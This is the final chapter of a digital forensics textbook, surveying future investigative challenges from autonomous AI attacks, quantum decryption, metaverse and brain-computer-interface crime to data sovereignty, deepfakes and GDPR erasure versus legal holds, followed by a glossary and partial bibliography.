29.1.1 Weaponized AI and Autonomous Agents

We are moving beyond malware that simply follows a script to malware that can think for itself. The growth of artificial intelligence (AI) will create a new type of threat. These threats can act with more speed and independence than ever before.

Core Concepts An **autonomous attack agent** is a type of malicious software that can make decisions on its own. It does not need a human operator to give it commands in real time. Normal automated malware follows a preprogrammed set of instructions. In contrast, an autonomous agent can study its environment, choose new targets, select how to attack them, and move through a network using its own AI logic. It is important to understand the difference between two types of attacks. The first is an AI-enhanced attack, like using a deepfake in a phishing email. The second is a truly autonomous attack. The first type uses AI to make a normal attack better. The second type lets the AI itself make the main decisions for the attack [24].

Forensic Challenges These agents create serious challenges for standard investigation methods.

- **The Attribution Problem:** A key part of any cybercrime investigation is *attribution*. This means connecting an action to the person or group responsible. This link is much harder to find when an algorithm made the decision. Who is responsible? Is it the AI's original developer? The person who trained the AI with bad data? Or the operator who launched it? Answering this requires new legal and technical rules to decide who is responsible.
- **Investigating the "Black Box":** Many advanced AI models, especially deep learning networks, are like "black boxes." This means their decision-making processes are difficult for humans to understand. Future investigations may need a new field called "forensic model auditing." In this field, investigators would study the AI's structure, its parameters (called weights), and the data used to train it. The goal is to understand *why* the AI decided to attack a certain system.

Real-World Context: The 2016 DARPA Cyber Grand Challenge, A key demonstration of autonomous attacks and defenses happened at the 2016 DARPA Cyber Grand Challenge. In this important event, systems called "Cyber Reasoning Systems" competed against each other. These systems had to find weaknesses in new software, create fixes to protect themselves, and attack their opponents on their own. They did all of this in real time, with no help from humans [56]. This competition proved that fully autonomous cyber warfare is real. Its basic parts have already been shown to work.

Investigative Approaches When investigating an autonomous attack, an investigator may need to change their focus. It is still very important to analyze what the agent did on the victim's system. However, it is equally important to trace where the agent came from. This means finding the computer systems that were used to host and, more importantly, *train* the AI model. Also, a detailed analysis of the agent's program code might show signs of specific AI tools (like TensorFlow or PyTorch) that its creators used. These signs can provide important clues to link the attack to other incidents or attackers.

29.1.2 The Quantum Computing Threat

Quantum computing is a major change in computer power. It is a serious threat to the encryption systems that are the foundation of all modern digital security. This also threatens the integrity of stored digital evidence.

Core Concepts The main threat is that a powerful enough quantum computer could solve the math problems that current *asymmetric encryption* is based on. Asymmetric encryption uses two different keys, a public one and a private one, to secure data. "Q-Day" is the name for the future day when a quantum computer will be able to break common encryption methods like RSA and Elliptic Curve Cryptography (ECC).

This leads to a major threat called **"Harvest Now, Decrypt Later."** Experts believe that attackers, especially from nation-states, are currently stealing and storing large amounts of encrypted data from governments and companies. This data cannot be read today. But the attackers believe that on or after Q-Day, they can decrypt all this old data. This could reveal government secrets, company secrets, and private messages from many years ago [2].

Forensic Implications For a forensic investigator, there are two serious consequences. First, it threatens the idea that we can store evidence securely for a long time. Digital evidence that we collect and encrypt today with standard methods could be easily read by an attacker in the future. Second, the world is moving to **Post-Quantum Cryptography (PQC)**. PQC is a collection of new encryption methods designed to be safe from quantum computers. Investigators will need to learn how these new systems work. They must understand the digital traces (artifacts) they create and any possible weaknesses in how they are set up that could be attacked or must be considered during analysis.

Future Defensive Stance In response, experts in cryptography, led by groups like the U.S. National Institute of Standards and Technology (NIST), are creating and standardizing PQC algorithms. These are designed to be secure against attacks from both classical and quantum computers. One of the first algorithms NIST selected is CRYSTALS-Kyber. Its security is based on how difficult it is to solve certain problems in mathematical structures called lattices.

Algorithmic Breakdown: CRYSTALS-Kyber The mathematics behind it is complex, but we can simplify the main idea into a few steps:

(1) **Key Generation:** A system generates a private key and a public key. The private key is a set of small vectors in a lattice. The public key corresponds to the private key. It is very hard to find the private key if you only have the public key. This difficulty makes the system secure.

(2) **Encapsulation:** To create a shared secret, a sender uses the receiver's public key. This process generates a *symmetric session key* (the shared

secret) and also a *ciphertext*. The ciphertext is the encrypted version of the session key.

(3) **Decapsulation:** The sender sends the ciphertext to the receiver. The receiver uses their private key to decrypt the ciphertext. This gives them the same symmetric session key that the sender created.

(4) **Security Premise:** This process is secure because a quantum computer using Shor's algorithm (the algorithm that breaks RSA) cannot easily solve the lattice problem [2]. Now, both parties can use the shared secret to encrypt their communication using a symmetric method like AES-256.

29.1.3 Forensics in the Metaverse and Augmented Reality

People are interacting more and more in shared virtual worlds. This means that crime and conflict will also happen in these worlds. The "Metaverse" and widespread Augmented Reality (AR) will become new places for crime. This will create completely new types of digital evidence.

Core Concepts The **Metaverse** is a network of connected virtual worlds that are always active. In these worlds, users use *avatars*, which are digital representations of themselves, to interact with each other, digital objects, and AI characters. Crimes that happen in the real world, like fraud, theft, and harassment, will also happen in these virtual worlds. Stealing a rare digital item could cause as much financial damage as stealing a real physical item.

New Evidence Sources Investigators will have to work with a huge amount of new and proprietary data formats. Evidence will not just be emails and disk images. It will now include:

- Avatar movement logs (where did a user's avatar go, and when?).
- Virtual object interaction data (what did they touch, pick up, or use?).
- In-world communication records, including text chats, voice communications, and non-verbal gestures.
- Transaction logs for virtual goods and currencies.

Practical Context: Hypothetical Metaverse Forensics Toolkit, Investigators will need special tools to understand and rebuild events from server logs and data files. Imagine a future investigator using a hypothetical "Metaverse Forensics Toolkit" (‘mftk‘) to query a server image for a subject's activity:

```
mftk-cli --image virtual_world_server.img --extract-user-logs \
--user-id "SubjectX" --time "2030-10-26T18:00Z" > user_activity.log
```

> This example command shows that in the future, we will need very specialized tools. These tools must be able to understand the unique data structures of many different virtual worlds [127].

Major Jurisdictional Challenges The Metaverse will make the jurisdictional challenges of internet investigations even worse. A *jurisdiction* is the official power to make legal decisions and judgments. For example: imagine a user in Germany controls an avatar on a server in South Korea. This avatar commits fraud against a victim in Brazil. Which country's laws should be used? The platform's Terms of Service might act as the main set of rules. However, whether these terms can be enforced and if they are more important than national laws will be a topic of major legal debate between countries.

29.1.4 Brain-Computer Interfaces and Neuro-Security

Perhaps the most theoretical, but also deepest, future challenge is in the area where forensics and neuroscience meet. This is due to the new technology of Brain-Computer Interfaces (BCIs).

Core Concepts **Brain-Computer Interfaces (BCIs)** are devices that read brain signals (for example, using *electroencephalography*, or EEG) and turn them into commands. These commands can control external systems, like a computer mouse or an advanced artificial limb. As this technology becomes more common, it will create new types of crime. This field is sometimes called "neuro-crime." These crimes could include getting unauthorized access to brain data (called "brain-hacking"), illegally controlling machines connected to a BCI, or even attacks designed to confuse a user's mind [104].

The Biggest Ethical Challenges Investigating crimes that involve BCIs makes us face some of the hardest ethical and legal questions.

- What would a search warrant for someone's brain data look like? What level of proof would be needed to get one?
- If a court forces a person to give access to their raw brain data, could this be considered self-incrimination? This might violate legal protections like the 5th Amendment in the United States or similar rights in other countries.
- A new field called **Neuro-Forensics** could appear. This field would focus on analyzing recorded brain data (like EEG or fNIRS logs). The goal would be to find evidence of malicious commands, stolen data, or unusual activity that shows someone was controlling the system from the outside.

These are not just philosophical questions anymore. They are becoming real problems that future investigators, lawyers, and judges will have to solve.

29.2 The Shifting Legal and Social Landscape

Technology does not change in isolation. As technology develops, laws, national borders, and social rules also change. For a forensic investigator, it is just as important to understand these related changes as it is to learn new tools.

29.2.1 The Splinternet and Data Sovereignty

The idea of one global internet is disappearing. It is being replaced by a 'Splinternet'. A *Splinternet* is a group of national or regional internets that are separated from each other by firewalls, different laws, and national goals.

Core Concepts This separation is caused by the principle of **Data Sovereignty**. This principle states that digital data must follow the laws of the country where the data is collected or processed [41]. A common policy that results from this is **Data Localization**. This is a law that requires companies to store data about a country's citizens on servers located inside that country.

Investigative Hurdles For investigators, this trend creates huge logistical problems. The time when investigators could serve one warrant to a U.S. cloud company to get data about a suspect in another country is ending. An international investigation might now need to use many different legal assistance treaties (MLATs) to get data stored in different countries. Each request has its own language, legal rules, and government delays. This greatly slows down investigations.

The European Union's General Data Protection Regulation (GDPR) is a strong real-world example of how this trend started. GDPR has strict rules for data protection and strong limits on moving personal data outside the EU. Because of this, it forced companies all over the world to change how they manage data. It created a model for other countries to control data. This made cooperation between international law enforcement agencies more difficult, even before the word "Splinternet" was widely used [199].

Strategic Implications In this separated internet world, non-technical skills for law enforcement become extremely important. It becomes very important to have strong diplomatic relationships, special international law enforcement contacts (like FBI Legal Attachés), and a good understanding of other countries' legal systems. The way investigations are done must change. Instead of just "following the suspect," investigators must now "follow the data," no matter which country or legal system it leads to.

29.2.2 Deepfakes and the Erosion of Digital Trust

For many years, courts have accepted digital evidence like video and audio as being real. The growth of very realistic artificial media, called deepfakes, threatens this basic trust.

Core Concepts **Deepfakes** are artificial media created by AI. They are usually made with a Deep Learning method called *Generative Adversarial Networks* (GANs). In a GAN, one network, the *generator*, creates fake images or videos. A second network, the *discriminator*, tries to identify if they are real or fake. The two networks compete, which makes the generator get better and better at creating realistic fakes. This technology is now used for many things, from complex fraud where someone pretends to be a CEO, to political information attacks and specific harassment.

The Forensic Challenge of Authenticity The main job of forensic analysis will change. Instead of asking "What information is in this data?", the more important question will be: "*Is this data real?*" A new sub-field of media forensics is developing to fight this problem. It focuses on:

- **Digital Watermarking:** Adding signals that cannot be seen into real media when it is created.
- **Perceptual Hashing:** Creating a digital "fingerprint" of media to see if it has been changed.
- **GAN Artifact Detection:** Looking for small, consistent errors that the creation process leaves behind. Examples include unnatural blinking or lighting that does not match.

Besides the technical challenge, there is a harmful social problem: the **"Liar's Dividend."** This term describes a situation where everything can be faked. In this situation, criminals can claim that *real* evidence of their crimes is just a "deepfake." This reduces the believability of all digital evidence and damages the public's trust in facts [43].

29.2.3 The Right to Erasure vs. Evidentiary Preservation

A direct conflict is growing between two strong legal ideas: a person's right to data privacy and the government's need to keep evidence for legal cases.

Core Concepts Privacy laws like Europe's GDPR include ideas like the "Right to be Forgotten," which is also called the Right to Erasure. This gives people the legal right, in some situations, to force an organization to delete their personal data [199]. This is the opposite of a *legal hold* or *preservation order*. This is when a law enforcement agency forces an organization to save that same data as possible evidence for an investigation.

Practical Conflict Scenarios, This conflict creates hard situations for service providers, who are caught between these two requirements. For example, a cloud company might have a legal request from the FBI to save a user's data. At the same time, it might get a valid request from that same user, who is an EU citizen, to delete their data under GDPR. Also, because of the

"privacy by default" trend, many apps now have end-to-end encryption and messages that delete themselves. This destroys evidence before law enforcement can ask to preserve it.

Algorithmic Breakdown: A Service Provider's Decision Tree A service provider's legal team must handle this conflict very carefully. Their internal process might look like this decision process:

(1) **Receive Request:** A user sends a formal request to delete their data.

(2) **Check for Legal Holds:** The system automatically checks the user's account against a list of current, valid preservation orders from law enforcement or other legal cases.

(3) **If YES (A Legal Hold Exists):** The user's request is denied. The user gets a standard message saying that the company cannot delete the data because of legal requirements. The data is kept securely for the time period stated in the legal order.

(4) **If NO (No Legal Hold Exists):** The request goes to the normal data deletion process, following the rules of the relevant privacy law (like GDPR Article 17 or CCPA).

(5) **Log Action:** The company creates a secure log that cannot be changed. This log records what was done (data saved or deleted), the legal reason for the action, and the time. This record is very important to show that the company followed the rules of both privacy agencies and courts.

Conclusion

In this chapter, we explored future challenges for digital investigators. We learned about threats from automated AI attacks, the risk of quantum computers breaking encryption, and new crime scenes appearing in virtual worlds. An investigator must also understand how changing laws about data privacy and fake media will affect cases. This knowledge helps you prepare for investigations that use technologies that are not common today. By thinking about these challenges now, you can adapt your skills and methods to stay effective. This book has given you a foundation in digital forensics, but your most important skill is your ability to continue learning. This commitment will ensure you are always ready for the next challenge.

Acronyms and Terminology

AI Artificial Intelligence: Technology that allows software to think for itself and perform actions with a high degree of independence, enabling more advanced and autonomous cyberattacks.

AR Augmented Reality: Technology that overlays digital information onto the real world, which is expected to become a new environment where digital crimes occur.

Asymmetric Encryption A type of encryption that uses a pair of keys—a public key to encrypt data and a private key to decrypt it. It is the foundation of many current security systems threatened by quantum computing.

Attribution The process in a cybercrime investigation of identifying and proving who is responsible for a particular action or attack.

Autonomous Attack Agent Malicious software that uses artificial intelligence to make its own decisions about how, when, and where to attack computer systems without direct human commands.

Avatar A digital character or figure representing a user in a virtual world, such as the Metaverse.

BCI Brain-Computer Interface: A device that translates a person's brain signals into commands for a computer or machine, creating potential new avenues for crime.

"Black Box" A term for complex AI systems, especially deep learning models, whose internal decision-making processes are not easily understood by humans.

"Brain-hacking" A type of "neuro-crime" involving the unauthorized access to or manipulation of data from a person's Brain-Computer Interface (BCI).

CCPA California Consumer Privacy Act: A U.S. privacy law mentioned alongside GDPR that gives consumers more control over their personal data.

Ciphertext The encrypted, unreadable version of a piece of data. In the context of PQC, it can refer to the encrypted session key that is sent over a network.

CRYSTALS-Kyber An example of a Post-Quantum Cryptography (PQC) algorithm chosen by NIST that is designed to be secure against attacks from both classical and quantum computers.

Cyber Reasoning Systems Fully autonomous computer systems developed for a DARPA challenge that could find software vulnerabilities, patch themselves, and attack opponents without human intervention.

DARPA Defense Advanced Research Projects Agency: The U.S. government agency mentioned for hosting the Cyber Grand Challenge, which demonstrated the feasibility of autonomous cyber warfare.

Data Localization A legal requirement that forces companies to store data about a country's citizens on servers located physically within that country's borders.

Data Sovereignty The principle that digital data is subject to the laws and legal jurisdiction of the country in which that data is located or processed.

Deepfake Highly realistic but fake video, audio, or images created using artificial intelligence, which can be used for fraud or to discredit real evidence.

Digital Watermarking A technique of embedding an invisible signal or marker into a digital file (like a video) at the time of its creation to help prove its authenticity later.

ECC Elliptic Curve Cryptography: A common type of asymmetric encryption, alongside RSA, that is believed to be vulnerable to attacks from future quantum computers.

EEG Electroencephalography: A method of recording the electrical activity of the brain, used by Brain-Computer Interfaces (BCIs) to read brain signals.

fNIRS Functional Near-Infrared Spectroscopy: Mentioned as a method for recording brain data, similar to EEG, which could be analyzed in the future field of Neuro-Forensics.

Forensic Model Auditing A proposed investigative technique for "black box" AIs that involves analyzing the AI's programming, parameters, and training data to understand why it made a certain malicious decision.

GAN Generative Adversarial Network: An AI method used to create deepfakes, where two neural networks (a "generator" and a "discriminator") compete to produce increasingly realistic fake media.

GAN Artifact Detection A forensic technique for identifying deepfakes by looking for tiny, consistent flaws or patterns that are unintentionally left behind by the AI generation process.

GDPR General Data Protection Regulation: A comprehensive data privacy and security law in the European Union that strictly controls how personal data is collected, used, and moved.

"Harvest Now, Decrypt Later" An attack strategy where adversaries steal and store large amounts of currently secure encrypted data with the plan to decrypt it in the future once a powerful quantum computer is available.

Jurisdiction The official authority to make legal decisions and enforce laws, which becomes a major challenge in Metaverse or internet crimes involving people and servers in multiple countries.

Legal Hold A notice issued by a law enforcement agency or court that legally requires an organization to preserve specific data and prevent it from being deleted because it is potential evidence. Also known as a preservation order.

"Liar's Dividend" A social problem where the existence of deepfakes allows actual criminals to falsely claim that real video or audio evidence of their crimes is just a fake, undermining trust in all digital evidence.

Metaverse A persistent, shared network of virtual worlds where users, as avatars, can interact with each other and with digital objects, creating a new environment for crime.

MLAT Mutual Legal Assistance Treaty: A formal agreement between two or more countries for gathering and exchanging information in legal and criminal investigations, which is essential for cases spanning the "Splinternet."

Neuro-Forensics A potential future forensic discipline focused on analyzing recorded brain data from devices like BCIs to find evidence of criminal activity, such as malicious commands or external manipulation.

NIST National Institute of Standards and Technology: The U.S. agency responsible for developing and standardizing technology and measurements, currently leading the effort to standardize PQC algorithms.

Perceptual Hashing A forensic technique that creates a unique digital "fingerprint" of a media file. This fingerprint can be used to check if the file has been altered or tampered with.

PQC Post-Quantum Cryptography: A new generation of encryption algorithms designed to be secure against attacks from both today's computers and the powerful quantum computers of the future.

"Q-Day" The hypothetical future day on which a quantum computer becomes powerful enough to break the most widely used forms of public-key encryption, such as RSA and ECC.

Right to Erasure A right granted to individuals by privacy laws like GDPR, allowing them to request that an organization delete their personal data. It is also known as the "Right to be Forgotten."

RSA A widely used asymmetric encryption algorithm that, along with ECC, is considered vulnerable to being broken by a future quantum computer.

Splinternet The concept of the global internet breaking up into a collection of separate, nationally or regionally controlled networks with different rules and limited access between them.

Symmetric Session Key A single, shared secret key that two parties use to encrypt their communications. PQC systems like CRYSTALS-Kyber are often used to securely establish this shared key.

Bibliography

[1] Abuse.ch and BUST IN-Security Operations Centre (BINSOC). *ZeuS: A Study of the Next-Generation of eBanking Trojans*. Tech. rep. Abuse.ch, May 2011. URL: https://zeustracker.abuse.ch/text/zeus_a_study_of_the_next_generation_of_ebanking_trojans.pdf.

[2] Gorjan Alagic et al. *Status Report on the Third Round of the NIST Post-Quantum Cryptography Standardization Process*. Tech. rep. NISTIR 8413. National Institute of Standards and Technology, 2022. DOI: 10.6028/NIST.IR.8413. URL: https://nvlpubs.nist.gov/nistpubs/ir/2022/NIST.IR.8413.pdf.

[3] John B. Althouse, Jeff Atkinson, and Josh Atkins. *JA3/S - A Method for Fingerprinting Crypted Traffic*. Salesforce Engineering Blog. Dec. 2017. URL: https://engineering.salesforce.com/ja3-a-method-for-fingerprinting-crypted-traffic-4f7db25460f1/.

[4] Victor M. Alvarez. *YARA: The pattern matching swiss knife for malware researchers*. Official Documentation. The official documentation for the Yara project. 2016. URL: https://yara.readthedocs.io/en/stable/.

[5] Amazon Web Services. *Shared Responsibility Model*. 2022. URL: https://aws.amazon.com/compliance/shared-responsibility-model/.

[6] Amazon Web Services. *AWS CloudTrail User Guide*. 2023. URL: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html.

[7] Amazon Web Services. *What is Traffic Mirroring?* 2023. URL: https://docs.aws.amazon.com/vpc/latest/mirroring/what-is-traffic-mirroring.html.

[8] Apple Inc. *Apple File System Reference*. 2020. URL: https://developer.apple.com/support/apple-file-system/Apple-File-System-Reference.pdf (visited on 08/01/2025).

[9] Apple Inc. *Apple Platform Security*. Published periodically. Sept. 2022. URL: https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf.

[10] Alejandro Barredo Arrieta et al. “Explainable Artificial Intelligence (XAI): Concepts, taxonomies, opportunities and challenges toward responsible AI”. In: *Information Fusion* 58 (2020), pp. 82–115. DOI: 10.1016/j.inffus.2019.12.012. URL: https://arxiv.org/abs/1910.10045.

[11] axi0mX. *checkm8: Permanent unpatchable bootrom exploit for hundreds of millions of iOS devices*. Initial disclosure and explanation of the exploit. Sept. 2019. URL: https://github.com/axi0mX/ipwndfu.

[12] Rick Ayers, Sam Brothers, and Wayne Jansen. *Guidelines on Mobile Device Forensics*. Tech. rep. SP 800-101r1. National Institute of Standards and Technology, May 2014. DOI: 10.6028/NIST.SP.800-101r1. URL: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-101r1.pdf.

[13] C. Ball, R. Starr, D. Flusche, et al. *Forensic Examination of Digital Evidence: A Guide for Law Enforcement*. Tech. rep. NCJ 199408. National Institute of Justice, 2004. URL: https://www.ojp.gov/pdffiles1/nij/199408.pdf.

[14] Zeba Bao and Anna Schecter. *Political consultant admits to commissioning AI-generated Biden robocall that targeted N.H. primary voters*. Accessed on August 2, 2025. May 2024. URL: https://www.nbcnews.com/politics/2024-election/political-consultant-admits-commissioning-ai-generated-biden-robocall-rcna153675.

[15] Belkasoft. *Belkasoft RAM Capturer*. Product Webpage. Accessed on August 2, 2025. 2024. URL: https://belkasoft.com/ram-capturer.

[16] Eli Ben-Sasson et al. “Zerocash: Decentralized Anonymous Payments from Bitcoin”. In: *2014 IEEE Symposium on Security and Privacy*. 2014, pp. 459–474. DOI: 10.1109/SP.2014.36. URL: https://ieeexplore.ieee.org/document/6956581.

[17] Berla Corporation. *iVe Vehicle Forensics*. Official Website. 2024. URL: https://www.berla.co/ive.

[18] David J. Bianco. *The Pyramid of Pain*. Mar. 2013. URL: https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html (visited on 10/27/2023).

[19] Hayley Blunden. *Introduction to Timestomping: A Digital Forensic Investigator’s Guide to Detecting and Countering the Practice*. SANS Institute Reading Room. Dec. 2018. URL: https://www.sans.org/white-papers/38795/.

[20] Bosch Diagnostics. *Crash Data Retrieval (CDR) Tool*. Official Website. 2024. URL: https://www.boschdiagnostics.com/cdr.

[21] Susan W. Brenner and Chelsea N. G. Day. “The Fifth Amendment, Passwords, and Biometrics”. In: *Nebraska Law Review* 96.1 (2017), pp. 1–46. URL: https://digitalcommons.unl.edu/nlr/vol96/iss1/2/.

[22] D. Brezinski and T. Killalea. *Guidelines for Evidence Collection and Archiving*. RFC 3227. IETF, Feb. 2002. DOI: 10.17487/RFC3227. URL: https://www.rfc-editor.org/info/rfc3227.

[23] Alexis Brignoni and Yogesh Khatri. *ALEAPP: Android Logs, Events, and Protobuf Parser*. GitHub Repository. Consolidates previous iLEAPP/ALEAPP entries. Accessed on August 2, 2025. 2023. URL: https://github.com/abrignoni/ALEAPP.

[24] Miles Brundage et al. "The Malicious Use of Artificial Intelligence: Forecasting, Prevention, and Mitigation". In: *arXiv preprint arXiv:1802.07228* (2018). URL: https://arxiv.org/abs/1802.07228.

[25] Joy Buolamwini and Timnit Gebru. "Gender Shades: Intersectional Accuracy Disparities in Commercial Gender Classification". In: *Proceedings of the 1st Conference on Fairness, Accountability and Transparency*. Vol. 81. PMLR. 2018, pp. 77–91. URL: http://proceedings.mlr.press/v81/buolamwini18a.html.

[26] Bureau d'Enquêtes et d'Analyses pour la sécurité de l'aviation civile (BEA). *Final Report: Accident on 24 March 2015 at Prads-Haute-Bléone (Alpes-de-Haute-Provence, France) to the Airbus A320-211 registered D-AIPX operated by Germanwings*. Mar. 2016. URL: https://www.bea.aero/uploads/tx_elydbrapports/BEA2015-0125.en-LR.pdf.

[27] Toby Bussa and Avivah Litan. *Market Guide for User and Entity Behavior Analytics*. Gartner. Gartner research documents provide industry definitions and analysis. Specific report IDs change, but the concept is well-established by them. 2017.

[28] Vitalik Buterin. *A Next-Generation Smart Contract and Decentralized Application Platform*. Ethereum White Paper. 2014. URL: https://ethereum.org/en/whitepaper/.

[29] Cado Security. *The Cado Response Platform*. 2023. URL: https://www.cadosecurity.com/platform/.

[30] Dawn M. Cappelli, Andrew P. Moore, and Randall F. Trzeciak. *The CERT Guide to Insider Threats: How to Prevent, Detect, and Respond to Information Technology Crimes (Theft, Sabotage, Fraud)*. Addison-Wesley Professional, 2012. ISBN: 978-0321812575. URL: https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=34015.

[31] Brian Carrier. *File System Forensic Analysis*. Boston, MA: Addison-Wesley Professional, 2005. ISBN: 978-0321268174.

[32] Harlan Carvey. *Windows Registry Forensics: Advanced Digital Forensic Analysis of the Windows Registry*. 2nd. Syngress, 2016. ISBN: 9780128032916.

[33] Eoghan Casey. *Digital Evidence and Computer Crime: Forensic Science, Computers, and the Internet*. 3rd. San Diego, CA: Academic Press, 2011. ISBN: 978-0123742681. URL: https://www.elsevier.com/books/digital-evidence-and-computer-crime/casey/978-0-12-374268-1.

[34] CBS News. *Fitbit data led to husband's arrest in wife's murder. A jury found him guilty.* News report on the Richard Dabate case. May 2022. URL: https://www.cbsnews.com/news/richard-dabate-convicted-murder-wife-connie-dabate-fitbit-data/.

[35] Censys, Inc. *Censys Search*. Website. 2023. URL: https://search.censys.io/.

[36] Central Intelligence Agency. *The Intelligence Cycle*. Archived content from cia.gov. June 2013. URL: https://www.cia.gov/legacy/assets/pdf/the-intelligence-cycle.pdf.

[37] US-CERT. *Alert (TA17-132A): Indicators Associated With WannaCry Ransomware*. Cybersecurity & Infrastructure Security Agency. May 2017. URL: https://www.cisa.gov/uscert/ncas/alerts/TA17-132A.

[38] CERT Coordination Center. *The CERT Guide to Coordinated Vulnerability Disclosure*. Software Engineering Institute, Carnegie Mellon University. Aug. 2022. URL: https://vuls.cert.org/confluence/display/CVD/The+CERT+Guide+to+Coordinated+Vulnerability+Disclosure.

[39] Chainalysis. *The 2023 Crypto Crime Report*. Tech. rep. Accessed August 2, 2025. Chainalysis, Feb. 2023. URL: https://go.chainalysis.com/2023-crypto-crime-report.html.

[40] Chainalysis Inc. *The 2024 Crypto Crime Report*. Company Report. Accessed on August 5, 2025. 2024. URL: https://www.chainalysis.com/reports/2024-crypto-crime-report/.

[41] Anupam Chander and Uyen P. Le. "Data Nationalism". In: *Emory Law Journal* 64 (2015), p. 677. URL: https://scholarlycommons.law.emory.edu/elj/vol64/iss3/2/.

[42] Laura Chappell. *Wireshark Network Analysis: The Official Wireshark Certified Network Analyst Study Guide*. 2nd. Chappell University, 2012. ISBN: 978-1893939998.

[43] Robert Chesney and Danielle Citron. "Deep Fakes: A Looming Challenge for Privacy, Democracy, and National Security". In: *Lawfare Research Paper Series* 18-01 (2018). URL: https://ssrn.com/abstract=3213954.

[44] Jason D. Christopher. *Defining PLC Forensic Procedures for Process-Aware and Non-Process-Aware Investigations*. Tech. rep. SANS Technology Institute, May 2019. URL: https://www.sans.org/white-papers/39060/.

[45] Robert B. Cialdini. *Influence: The Psychology of Persuasion*. Collins Business Essentials, 2006. ISBN: 978-0061241895.

[46] Jeff Cichonski, Tim Leddy, and Christopher Salter. *Considerations for Digital Forensic Investigations in the Internet of Things (IoT) Environment*. Draft NISTIR 8233. National Institute of Standards and Technology, 2019. URL: https://csrc.nist.gov/publications/detail/nistir/8233/draft.

[47] Paul Cichonski et al. *Computer Security Incident Handling Guide*. Tech. rep. SP 800-61 Rev. 2. National Institute of Standards and Technology, 2012. DOI: 10.6028/NIST.SP.800-61r2. URL: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf.

[48] Victoria A. Clark, Kathryn Seigfried-Spellar, and Richard Mislan. "Forensic Analysis and Visualization of Drone Data". In: *Proceedings of the 13th International Conference on Cyber Warfare and Security (ICCWS)*. Academic Conferences and Publishing International Limited, 2018, pp. 123–131.

[49] Coalition for Content Provenance and Authenticity (C2PA). *C2PA Technical Specification Version 1.4*. Tech. rep. C2PA, June 2024. URL: https://c2pa.org/specifications/specifications/1.4/C2PA_Specification.pdf.

[50] Council of Europe. *Convention on Cybercrime (Budapest Convention)*. Budapest, Nov. 2001. URL: https://rm.coe.int/1680081561.

[51] CrowdStrike. *2023 Global Threat Report*. Tech. rep. CrowdStrike, 2023. URL: https://www.crowdstrike.com/global-threat-report/.

[52] Cybersecurity and Infrastructure Security Agency. *Alert (AA21-131A): DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks*. Tech. rep. Accessed August 2, 2025. CISA, May 2021. URL: https://www.cisa.gov/uscert/ncas/alerts/aa21-131a.

[53] Quynh Dang. *Secure Hash Standard (SHS)*. Tech. rep. National Institute of Standards and Technology, 2012. DOI: 10.6028/NIST.FIPS.180-4. URL: https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf.

[54] *Daubert v. Merrell Dow Pharmaceuticals, Inc.* U.S. Supreme Court Reports. 509 U.S. 579. 1993. URL: https://supreme.justia.com/cases/federal/us/509/579/.

[55] DB Browser for SQLite Team. *DB Browser for SQLite*. Official Website. Accessed on August 2, 2025. 2023. URL: https://sqlitebrowser.org/.

[56] Defense Advanced Research Projects Agency (DARPA). *Cyber Grand Challenge (CGC)*. Event concluded in 2016. Accessed on August 3, 2025. 2016. URL: https://www.darpa.mil/program/cyber-grand-challenge.

[57] Dorothy E. Denning. "The Rise of Hacktivism". In: *Georgetown Journal of International Affairs* 16.2 (2015), pp. 131–139.

[58] Roger Dingledine, Nick Mathewson, and Paul Syverson. "Tor: The Second-Generation Onion Router". In: *Proceedings of the 13th USENIX Security Symposium*. 2004, pp. 303–320. URL: https://www.usenix.org/legacy/events/sec04/tech/full_papers/dingledine/dingledine.pdf.

[59] Director of National Intelligence. *Intelligence Community Directive 301: National Open Source Intelligence (OSINT)*. Rescinded and replaced, but historically significant for its definition. July 2005. URL: https://www.dni.gov/files/documents/ICD/ICD_301.pdf.

[60] Dragos, Inc. *TRISIS Malware: Analysis of Safety System Targeted Malware*. Tech. rep. Dragos, Inc., June 2018. URL: https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf.

[61] Itiel E. Dror. "The prevalence and impact of cognitive bias in forensic science". In: *Routledge Handbook of Forensic Science*. Ed. by Jim Fraser and Robin Williams. Abingdon: Routledge, 2018, pp. 3–20. DOI: 10.4324/9781315682918-2.

[62] Itiel E. Dror. "Cognitive and human factors in expert decision making: Six fallacies and the eight sources of bias". In: *Analytical Chemistry* 92.12 (2020), pp. 7998–8004. DOI: 10.1021/acs.analchem.0c00704. URL: https://pubs.acs.org/doi/10.1021/acs.analchem.0c00704.

[63] Itiel E. Dror and David C. Murrie. "A hierarchy of expert performance". In: *Journal of Applied Research in Memory and Cognition* 5.2 (2013), pp. 123–131. DOI: 10.1016/j.jarmac.2016.03.007. URL: https://www.sciencedirect.com/science/article/pii/S221136811630009X.

[64] EDRM - The Duke Law Center for Judicial Studies. *The Electronic Discovery Reference Model (EDRM)*. Website. The EDRM model is frequently updated. This citation points to the primary source organization. 2024. URL: https://edrm.net/edrm-model/.

[65] Sarah Edwards. *SANS Mac Forensics Blog Posts*. Blog and course materials by a leading macOS forensics expert. Citing the author's blog page as a collection of works. 2016. URL: https://www.sans.org/blog/author/sarah-edwards/ (visited on 08/01/2025).

[66] Mattia Epifani and Francesco Picasso. "Signal Messenger Forensics". In: *Magnet Forensics Blog* (Mar. 2023). URL: https://www.magnetforensics.com/blog/signal-messenger-forensics/.

[67] European Telecommunications Standards Institute (ETSI). *Quantum-safe Hybrid Key Exchanges*. Tech. rep. ETSI TR 103 617 V1.1.1. ETSI, 2019. URL: https://www.etsi.org/deliver/etsi_tr/103600_103699/103617/01.01.01_60/tr_103617v010101p.pdf.

[68] European Union Agency for Cybersecurity (ENISA). *Post-Quantum Cryptography: Current state and quantum mitigation*. Tech. rep. ENISA, 2021. URL: https://www.enisa.europa.eu/publications/post-quantum-cryptography-current-state-and-quantum-mitigation.

[69] European Union Agency for Cybersecurity (ENISA). *ENISA Threat Landscape 2022*. Tech. rep. ENISA, Nov. 2022. URL: https://www.enisa.europa.eu/publications/enisa-threat-landscape-2022.

